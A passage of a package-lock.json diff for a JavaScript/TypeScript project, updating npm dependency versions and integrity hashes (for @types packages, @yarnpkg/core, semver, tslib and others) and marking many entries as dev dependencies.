@@ -1767,10 +3867,62 @@
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz",
"integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==",
+ "dev": true,
"requires": {
"@types/node": "*"
}
},
+ "@types/lodash": {
+ "version": "4.14.168",
+ "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.168.tgz",
+ "integrity": "sha512-oVfRvqHV/V6D1yifJbVRU3TMp8OT6o6BG+U9MkwuJ3U8/CsDHvalRpsxBqivn71ztOFZBTfJMvETbqHiaNSj7Q==",
+ "dev": true
+ },
+ "@types/lodash.chunk": {
+ "version": "4.2.6",
+ "resolved": "https://registry.npmjs.org/@types/lodash.chunk/-/lodash.chunk-4.2.6.tgz",
+ "integrity": "sha512-SPlusB7jxXyGcTXYcUdWr7WmhArO/rmTq54VN88iKMxGUhyg79I4Q8n4riGn3kjaTjOJrVlHhxgX/d7woak5BQ==",
+ "dev": true,
+ "requires": {
+ "@types/lodash": "*"
+ }
+ },
+ "@types/lodash.omit": {
+ "version": "4.5.6",
+ "resolved": "https://registry.npmjs.org/@types/lodash.omit/-/lodash.omit-4.5.6.tgz",
+ "integrity": "sha512-KXPpOSNX2h0DAG2w7ajpk7TXvWF28ZHs5nJhOJyP0BQHkehgr948RVsToItMme6oi0XJkp19CbuNXkIX8FiBlQ==",
+ "dev": true,
+ "requires": {
+ "@types/lodash": "*"
+ }
+ },
+ "@types/lodash.union": {
+ "version": "4.6.6",
+ "resolved": "https://registry.npmjs.org/@types/lodash.union/-/lodash.union-4.6.6.tgz",
+ "integrity": "sha512-Wu0ZEVNcyCz8eAn6TlUbYWZoGbH9E+iOHxAZbwUoCEXdUiy6qpcz5o44mMXViM4vlPLLCPlkAubEP1gokoSZaw==",
+ "dev": true,
+ "requires": {
+ "@types/lodash": "*"
+ }
+ },
+ "@types/mdast": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.3.tgz",
+ "integrity": "sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==",
+ "dev": true,
+ "requires": {
+ "@types/unist": "*"
+ }
+ },
+ "@types/micromatch": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.1.tgz",
+ "integrity": "sha512-my6fLBvpY70KattTNzYOK6KU1oR1+UCz9ug/JbcF5UrEmeCt9P7DV2t7L8+t18mMPINqGQCE4O8PLOPbI84gxw==",
+ "dev": true,
+ "requires": {
+ "@types/braces": "*"
+ }
+ },
"@types/minimatch": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
@@ -1778,15 +3930,16 @@
"dev": true
},
"@types/minimist": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.0.tgz",
- "integrity": "sha1-aaI6OtKcrwCX8G7aWbNh7i8GOfY=",
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.1.tgz",
+ "integrity": "sha512-fZQQafSREFyuZcdWFAExYjBiCL7AUCdgsk80iO0q4yihYYdcIiH28CcuPTGFgLOCC8RlW49GSQxdHwZP+I7CNg==",
"dev": true
},
"@types/node": {
- "version": "13.13.5",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.5.tgz",
- "integrity": "sha512-3ySmiBYJPqgjiHA7oEaIo2Rzz0HrOZ7yrNO5HWyaE5q0lQ3BppDZ3N53Miz8bw2I7gh1/zir2MGVZBvpb1zq9g=="
+ "version": "14.14.37",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.37.tgz",
+ "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==",
+ "dev": true
},
"@types/normalize-package-data": {
"version": "2.4.0",
@@ -1805,12 +3958,48 @@
"integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw=="
},
"@types/react": {
- "version": "16.9.35",
- "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.35.tgz",
- "integrity": "sha512-q0n0SsWcGc8nDqH2GJfWQWUOmZSJhXV64CjVN5SvcNti3TdEaA3AH0D8DwNmMdzjMAC/78tB8nAZIlV8yTz+zQ==",
+ "version": "16.14.5",
+ "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.5.tgz",
+ "integrity": "sha512-YRRv9DNZhaVTVRh9Wmmit7Y0UFhEVqXqCSw3uazRWMxa2x85hWQZ5BN24i7GXZbaclaLXEcodEeIHsjBA8eAMw==",
"requires": {
"@types/prop-types": "*",
- "csstype": "^2.2.0"
+ "@types/scheduler": "*",
+ "csstype": "^3.0.2"
+ },
+ "dependencies": {
+ "csstype": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz",
+ "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g=="
+ }
+ }
+ },
+ "@types/react-dom": {
+ "version": "16.9.12",
+ "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.12.tgz",
+ "integrity": "sha512-i7NPZZpPte3jtVOoW+eLB7G/jsX5OM6GqQnH+lC0nq0rqwlK0x8WcMEvYDgFWqWhWMlTltTimzdMax6wYfZssA==",
+ "dev": true,
+ "requires": {
+ "@types/react": "^16"
+ }
+ },
+ "@types/react-router": {
+ "version": "5.1.16",
+ "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.16.tgz",
+ "integrity": "sha512-8d7nR/fNSqlTFGHti0R3F9WwIertOaaA1UEB8/jr5l5mDMOs4CidEgvvYMw4ivqrBK+vtVLxyTj2P+Pr/dtgzg==",
+ "requires": {
+ "@types/history": "*",
+ "@types/react": "*"
+ }
+ },
+ "@types/react-router-dom": {
+ "version": "5.1.8",
+ "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.1.8.tgz",
+ "integrity": "sha512-03xHyncBzG0PmDmf8pf3rehtjY0NpUj7TIN46FrT5n1ZWHPZvXz32gUyNboJ+xsL8cpg8bQVLcllptcQHvocrw==",
+ "requires": {
+ "@types/history": "*",
+ "@types/react": "*",
+ "@types/react-router": "*"
}
},
"@types/react-table": {
@@ -1822,9 +4011,9 @@
}
},
"@types/react-transition-group": {
- "version": "4.4.0",
- "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.0.tgz",
- "integrity": "sha512-/QfLHGpu+2fQOqQaXh8MG9q03bFENooTb/it4jr5kKaZlDQfWvjqWZg48AwzPVMBHlRuTRAY7hRHCEOXz5kV6w==",
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.1.tgz",
+ "integrity": "sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==",
"requires": {
"@types/react": "*"
}
@@ -1833,14 +4022,33 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz",
"integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==",
+ "dev": true,
"requires": {
"@types/node": "*"
}
},
+ "@types/sarif": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.3.tgz",
+ "integrity": "sha512-zf+EoIplTkQW2TV2mwtJtlI0g540Z3Rs9tX9JqRAtyjnDCqkP+eMTgWCj3PGNbQpi+WXAjvC3Ou/dvvX2sLK4w==",
+ "dev": true
+ },
+ "@types/scheduler": {
+ "version": "0.16.1",
+ "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz",
+ "integrity": "sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA=="
+ },
"@types/semver": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/@types/semver/-/semver-5.5.0.tgz",
- "integrity": "sha512-41qEJgBH/TWgo5NFSvBCJ1qkoi3Q6ONSF2avrHq1LVEZfYpdHmj0y9SuTK+u9ZhG1sYQKBL1AWXKyLWP4RaUoQ=="
+ "version": "7.3.4",
+ "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.4.tgz",
+ "integrity": "sha512-+nVsLKlcUCeMzD2ufHEYuJ9a2ovstb6Dp52A5VsoKxDXgvE051XgHI/33I1EymwkRGQkwnA0LkhnUzituGs4EQ==",
+ "dev": true
+ },
+ "@types/treeify": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@types/treeify/-/treeify-1.0.0.tgz",
+ "integrity": "sha512-ONpcZAEYlbPx4EtJwfTyCDQJGUpKf4sEcuySdCVjK5Fj/3vHp5HII1fqa1/+qrsLnpYELCQTfVW/awsGJePoIg==",
+ "dev": true
},
"@types/unist": {
"version": "2.0.3",
@@ -1848,19 +4056,32 @@
"integrity": "sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==",
"dev": true
},
+ "@types/uuid": {
+ "version": "8.3.0",
+ "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.0.tgz",
+ "integrity": "sha512-eQ9qFW/fhfGJF8WKHGEHZEyVWfZxrT+6CLIJGBcZPfxUh/+BnEj+UCGYMlr9qZuX/2AltsvwrGqp0LhEW8D0zQ==",
+ "dev": true
+ },
"@types/warning": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz",
"integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI="
},
- "@types/xml2js": {
- "version": "0.4.5",
- "resolved": "https://registry.npmjs.org/@types/xml2js/-/xml2js-0.4.5.tgz",
- "integrity": "sha512-yohU3zMn0fkhlape1nxXG2bLEGZRc1FeqF80RoHaYXJN7uibaauXfhzhOJr1Xh36sn+/tx21QAOf07b/xYVk1w==",
+ "@types/yargs": {
+ "version": "15.0.13",
+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.13.tgz",
+ "integrity": "sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==",
+ "dev": true,
"requires": {
- "@types/node": "*"
+ "@types/yargs-parser": "*"
}
},
+ "@types/yargs-parser": {
+ "version": "20.2.0",
+ "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.0.tgz",
+ "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==",
+ "dev": true
+ },
"@webassemblyjs/ast": {
"version": "1.9.0",
"resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz",
@@ -2049,28 +4270,31 @@
"dev": true
},
"@yarnpkg/core": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz",
- "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==",
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.4.0.tgz",
+ "integrity": "sha512-FYjcPNTfDfMKLFafQPt49EY28jnYC82Z2S7oMwLPUh144BL8v8YXzb4aCnFyi5nFC5h2kcrJfZh7+Pm/qvCqGw==",
+ "dev": true,
"requires": {
"@arcanis/slice-ansi": "^1.0.2",
- "@yarnpkg/fslib": "^2.2.1",
+ "@types/semver": "^7.1.0",
+ "@types/treeify": "^1.0.0",
+ "@yarnpkg/fslib": "^2.4.0",
"@yarnpkg/json-proxy": "^2.1.0",
- "@yarnpkg/libzip": "^2.2.0",
- "@yarnpkg/parsers": "^2.2.0",
- "@yarnpkg/pnp": "^2.2.1",
- "@yarnpkg/shell": "^2.2.0",
+ "@yarnpkg/libzip": "^2.2.1",
+ "@yarnpkg/parsers": "^2.3.0",
+ "@yarnpkg/pnp": "^2.3.2",
+ "@yarnpkg/shell": "^2.4.1",
+ "binjumper": "^0.1.4",
"camelcase": "^5.3.1",
"chalk": "^3.0.0",
"ci-info": "^2.0.0",
- "clipanion": "^2.4.4",
+ "clipanion": "^2.6.2",
"cross-spawn": "7.0.3",
"diff": "^4.0.1",
"globby": "^11.0.1",
- "got": "^11.1.3",
+ "got": "^11.7.0",
"json-file-plus": "^3.3.1",
"lodash": "^4.17.15",
- "logic-solver": "^2.0.1",
"micromatch": "^4.0.2",
"mkdirp": "^0.5.1",
"p-limit": "^2.2.0",
@@ -2079,16 +4303,23 @@
"semver": "^7.1.2",
"stream-to-promise": "^2.2.0",
"tar-stream": "^2.0.1",
+ "treeify": "^1.1.0",
"tslib": "^1.13.0",
"tunnel": "^0.0.6"
},
"dependencies": {
+ "@sindresorhus/is": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz",
+ "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ==",
+ "dev": true
+ },
"ansi-styles": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
- "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
"requires": {
- "@types/color-name": "^1.1.1",
"color-convert": "^2.0.1"
}
},
@@ -2096,6 +4327,7 @@
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
"requires": {
"fill-range": "^7.0.1"
}
@@ -2103,12 +4335,14 @@
"camelcase": {
"version": "5.3.1",
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+ "dev": true
},
"chalk": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
"integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+ "dev": true,
"requires": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
@@ -2118,6 +4352,7 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
"integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
"requires": {
"color-name": "~1.1.4"
}
@@ -2125,12 +4360,14 @@
"color-name": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
},
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+ "dev": true,
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
@@ -2141,61 +4378,81 @@
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
"requires": {
"to-regex-range": "^5.0.1"
}
},
- "globby": {
- "version": "11.0.1",
- "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz",
- "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==",
+ "got": {
+ "version": "11.8.2",
+ "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz",
+ "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==",
+ "dev": true,
"requires": {
- "array-union": "^2.1.0",
- "dir-glob": "^3.0.1",
- "fast-glob": "^3.1.1",
- "ignore": "^5.1.4",
- "merge2": "^1.3.0",
- "slash": "^3.0.0"
+ "@sindresorhus/is": "^4.0.0",
+ "@szmarczak/http-timer": "^4.0.5",
+ "@types/cacheable-request": "^6.0.1",
+ "@types/responselike": "^1.0.0",
+ "cacheable-lookup": "^5.0.3",
+ "cacheable-request": "^7.0.1",
+ "decompress-response": "^6.0.0",
+ "http2-wrapper": "^1.0.0-beta.5.2",
+ "lowercase-keys": "^2.0.0",
+ "p-cancelable": "^2.0.0",
+ "responselike": "^2.0.0"
}
},
"has-flag": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
- },
- "ignore": {
- "version": "5.1.8",
- "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz",
- "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw=="
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
},
"is-number": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
- "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
},
"micromatch": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz",
- "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
"requires": {
"braces": "^3.0.1",
- "picomatch": "^2.0.5"
+ "picomatch": "^2.2.3"
}
},
"path-key": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
- "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "dev": true
},
"semver": {
- "version": "7.3.2",
- "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
- "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ=="
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
},
"shebang-command": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dev": true,
"requires": {
"shebang-regex": "^3.0.0"
}
@@ -2203,17 +4460,14 @@
"shebang-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
- "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
- },
- "slash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "dev": true
},
"supports-color": {
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
"requires": {
"has-flag": "^4.0.0"
}
@@ -2222,38 +4476,49 @@
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
"integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
"requires": {
"is-number": "^7.0.0"
}
},
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dev": true,
"requires": {
"isexe": "^2.0.0"
}
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
}
}
},
"@yarnpkg/fslib": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz",
- "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==",
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.4.0.tgz",
+ "integrity": "sha512-CwffYY9owtl3uImNOn1K4jl5iIb/L16a9UZ9Q3lkBARk6tlUsPrNFX00eoUlFcLn49TTfd3zdN6higloGCyncw==",
+ "dev": true,
"requires": {
- "@yarnpkg/libzip": "^2.2.0",
+ "@yarnpkg/libzip": "^2.2.1",
"tslib": "^1.13.0"
},
"dependencies": {
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
}
}
},
@@ -2261,105 +4526,159 @@
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/json-proxy/-/json-proxy-2.1.0.tgz",
"integrity": "sha512-rOgCg2DkyviLgr80mUMTt9vzdf5RGOujQB26yPiXjlz4WNePLBshKlTNG9rKSoKQSOYEQcw6cUmosfOKDatrCw==",
+ "dev": true,
"requires": {
"@yarnpkg/fslib": "^2.1.0",
"tslib": "^1.13.0"
},
"dependencies": {
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
- "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
}
}
},
"@yarnpkg/libzip": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz",
- "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.1.tgz",
+ "integrity": "sha512-AYDJXrkzayoDd3ZlVgFJ+LyDX+Zj/cki3vxIpcYxejtgkl3aquVWOxlC0DD9WboBWsJFIP1MjrUbchLyh++/7A==",
+ "dev": true,
"requires": {
"@types/emscripten": "^1.38.0",
"tslib": "^1.13.0"
},
"dependencies": {
"tslib": {
- "version": "1.13.0",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
